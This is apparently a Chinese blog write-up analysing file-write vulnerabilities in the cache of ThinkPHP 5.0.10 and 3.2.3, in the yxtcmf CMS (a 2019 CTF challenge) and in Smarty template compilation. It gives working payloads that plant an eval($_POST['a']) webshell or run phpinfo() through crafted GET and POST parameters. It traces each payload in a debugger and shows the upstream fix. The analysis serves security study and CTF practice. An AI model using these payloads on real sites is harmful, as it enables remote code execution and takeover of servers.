这篇文章发表于 1183 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

缓存文件的利用其实就是文件写入漏洞的利用,由于它一般会涉及到框架,所以相对难找。练习了几个相对经典的漏洞,以后有机会再扩充。

框架的cache

如果你了解过thinkphp框架,那么就会体验到这一点。其中的runtime文件夹就是用来存放运行时产生的文件的,当时我就觉得这里一定有可以控制其中内容的方法。

thinkphp5.0.10

漏洞影响版本为5.0.0<=ThinkPHP5<=5.0.10,所以就以5.0.10为例。

可以在php的网站根目录中使用composer create-project --prefer-dist topthink/think=5.0.10 tpdemo创建相关文件夹,随后将composer.json文件的require字段设置成如下:

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.10"
},

然后执行composer update,即可完成环境的快速配置。

或者干脆解压我提供的这个算了2333……

请在tpdemo/application/index/controller/Index.php下写入如下的内容:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
// http://127.0.0.1/tpdemo/public/index.php
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}

访问http://127.0.0.1/tpdemo/public/index.php?username=%0aeval($_POST['a']);//%0a//即可完成一个木马文件的写入,查看tpdemo/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php即可(没错这里长长一串字符串是不变的),发现写入了如下的内容:

1
2
3
4
5
<?php
//000000000000s:24:"
eval($_POST['a']);//
//";
?>

请问这个东西是怎么写进去的呢?接下来的任务就是调试了。

步进Cache::set,首先遇到了一些和加载类以及获取传入参数的函数,这些都不是重点。随后我们来到了真正的Cache::set函数中,发现其中有如下的函数调用。

1

继续跟进,因为在一开始我们写的文件的缘故,我们运行到了下图所示的位置。

2

随后的过程中先是Config::get得到了执行,然后到了connect函数中,这个函数并没有什么特别的操作,接下去就运行到了set函数里面。而这里面的getCacheKey函数就告诉了我们为什么写入的文件总是68931cc450442b63f5b3d276ea4297.php这样一个固定的值——因为我们传入的$name始终为name字符串,然后这里的$this->options['prefix']始终为空,而$this->options['path']等于/www/localhost/tpdemo/runtime/cache/,拼接后的路径结果自然是一个固定的值。

3

很好,接下来我们需要知道为什么能够把木马写到那里面。

随便调下去,不难发现在File类的set方法中我们见到了令人振奋的拼接操作,具体些说是将序列化后的字符串拼接到一段php代码中间。

4

也就是我们刚刚已经看到的结果。

可能有人会问:该如何知道这个项目是如何把这个洞补上的呢?

因为知道v5.0.11版本没这个洞了,所以只要去github上面找到v5.0.10框架,然后找到library/think/cache/driver/File.php源代码,对比v5.0.11的即可——这里安利一个网站。改动如下:

1
2
3
$data   = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>";
// 变为了
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

可见至少之前的利用方式已经被消灭了。

thinkphp3.2.3

这个也是类似的,我这直接提供打包的环境源码吧。

tpdemo/Application/Home/Controller/IndexController.class.php中的内容修改为如下内容:

1
2
3
4
5
6
7
8
9
10
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
// http://127.0.0.1/tpdemo/index.php
S("name",I("get.username"));
echo 'Cache success';
}
}

和上面一样尝试触发漏洞,我们甚至发现连生成的文件路径几乎都是一模一样的……当然这里的主要触发函数变为了Common/functions.php中的S函数里面的$cache->set函数。

因为太类似了,所以更多细节请自行调试。

5

yxtcmf框架利用

这个就是2019年强网杯的题目,它使用thinkphp3.2.3作为核心,因此也有这种漏洞。所以说,我们主要的任务就是找出该怎么将恶意的参数传入到里面。

因为环境貌似找不到了,所以在这里给大家提供一个yxtcmf6.1docker环境,在docker-compose up -d之后进入/www/localhost/yxtcmf/中执行php -S 0.0.0.0:8000命令。

从上一部分的分析来看,我们要去寻找那个S函数究竟在哪里被调用。首先我们看到了该函数位于yxtedu/Core/Mode/Lite/functions.php中,于是对其usages进行筛选。

6

发现了46个可能的地方,但是后面的六个文件夹基本没必要先观察,因为它们是thinkphp的内核文件,第一个文件夹因为是后台相关的所以也暂时搁一边,第四个runtime文件夹因为是运行时用到的,故亦可暂时不看——就这样,我们将搜索范围减小到了三个可能的地方。

进入到文件中寻找相关的信息,发现sp_set_dynamic_config函数看起来有更大的成功可能性。记住,到目前为止我们在始终不忘初心地寻找可控点。既然这样,该函数中的$configs变量就是需要控制住的点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function sp_set_dynamic_config($data){

if(!is_array($data)){
return false;
}

if(sp_is_sae()){
$kv = new SaeKV();
$ret = $kv->init();
$configs=$kv->get("THINKCMF_DYNAMIC_CONFIG");
$configs=empty($configs)?array():unserialize($configs);
$configs=array_merge($configs,$data);
$result = $kv->set('THINKCMF_DYNAMIC_CONFIG', serialize($configs));
}elseif(defined('IS_BAE') && IS_BAE){
$bae_mc=new BaeMemcache();
$configs=$bae_mc->get("THINKCMF_DYNAMIC_CONFIG");
$configs=empty($configs)?array():unserialize($configs);
$configs=array_merge($configs,$data);
$result = $bae_mc->set("THINKCMF_DYNAMIC_CONFIG",serialize($configs),MEMCACHE_COMPRESSED,0);
}else{
$config_file="./data/conf/config.php";
if(file_exists($config_file)){
$configs=include $config_file;
}else {
$configs=array();
}
$configs=array_merge($configs,$data);
$result = file_put_contents($config_file, "<?php\treturn " . var_export($configs, true) . ";");
}
sp_clear_cache();
S("sp_dynamic_config",$configs);
return $result;
}

我们可能会看不懂里面的sae究竟为何物,这时稍微搜索一下就会有个简单的结论,它是为存储型服务的(虽然没啥用但不至于理解太模糊了)——想要控制住$configs就必须控制住$data数组。

查看thinkphp3.2.3手册内容我们发现,因为Common这个应用的公共模块本身不能通过URL直接访问,不过公共模块的其他文件则可以被其他模块继承或者调用。所以这里应该没有任何办法直接控制,那么我们继续寻找哪里调用了这个sp_set_dynamic_config($data)

7

这里我们依旧首先不考虑第一个和第三个文件夹中的内容,也就只剩下三个文件夹四个位置了。依次点开查看吧,结果在Api/Controller里面发现某个文件带有admin字样,于是不优先查看,最后就先进入OauthController进行查看。

1
2
3
4
5
function injectionAuthocode(){
$postdata=I('post.');
$configs["authoCode"]=$postdata['authoCode'];
sp_set_dynamic_config($configs);
}

好吧,简直就是白给了……那么问题来了,我们该如何访问到它呢?依旧是借助手册的力量,我们知道应该去访问http://172.17.0.1:8000/index.php/api/oauth/injectionAuthocode,当然需要post的数据为authoCode=%0aeval($_POST['a']);//%0a//

8

模板的compile

本质上原理还是可以被写入一个非常危险的内容,无非这里是和模板有关。

smarty <= v3.1.31

整个环境已经在这里提供了,访问http://172.17.0.1/smarty/index.php?username=*/phpinfo();/*即可触发漏洞。

index.php$smarty->display('username:'.$_GET['username']);位置处断点进行调试。很快来到和模板处理相关的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private function _execute($template, $cache_id, $compile_id, $parent, $function)
{
.......
if ($template === null) {
.......
} else {
// get template object
/* @var Smarty_Internal_Template $template */
$saveVars = false;

$template = $smarty->createTemplate($template, $cache_id, $compile_id, $parent ? $parent : $this, false);
if ($this->_objType == 1) {
// set caching in template object
$template->caching = $this->caching;
}
}
// fetch template content
$level = ob_get_level();
try {
$_smarty_old_error_level =
isset($smarty->error_reporting) ? error_reporting($smarty->error_reporting) : null;
if ($function == 2) {
.......
} else {
if ($saveVars) {
$savedTplVars = $template->tpl_vars;
$savedConfigVars = $template->config_vars;
}
ob_start();
$template->_mergeVars();
if (!empty(Smarty::$global_tpl_vars)) {
$template->tpl_vars = array_merge(Smarty::$global_tpl_vars, $template->tpl_vars);
}
$result = $template->render(false, $function);
$template->_cleanUp();
.......
}
if (isset($_smarty_old_error_level)) {
error_reporting($_smarty_old_error_level);
}
return $result;
}
.......
}

我们可以看到这里有创建一个模板的函数createTemplate以及将模板呈现出来的render函数,第一个函数经过调试只是简单地将我们传入的内容进行了一些加工并创建了一个保存template信息的变量,而第二个函数将我们带到了vendor/smarty/smarty/libs/sysplugins/smarty_internal_template.php中的render函数里。

继续调试,我们步入$this->compiled->render($this);并在里面找到了即将生成的文件的路径/www/localhost/smarty/compile/4f97532c32c10229713a39421c918cf16663bf6e_0.username.*.php。很快我们就在vendor/smarty/smarty/libs/sysplugins/smarty_template_compiled.phpprocess函数。里面所调用的compileTemplateSource函数将模板写在了那个路径上。

10

显然这样带着注释构造出来的文件可以执行phpinfo()!当然这还不算完,process函数不仅能写,还能直接将这个运行的内容直接呈现出来,相关功能在$this->loadCompiledTemplate($_smarty_tpl);里面。

9

直接include了,也就不需要找刚刚生成的恶意文件的位置了……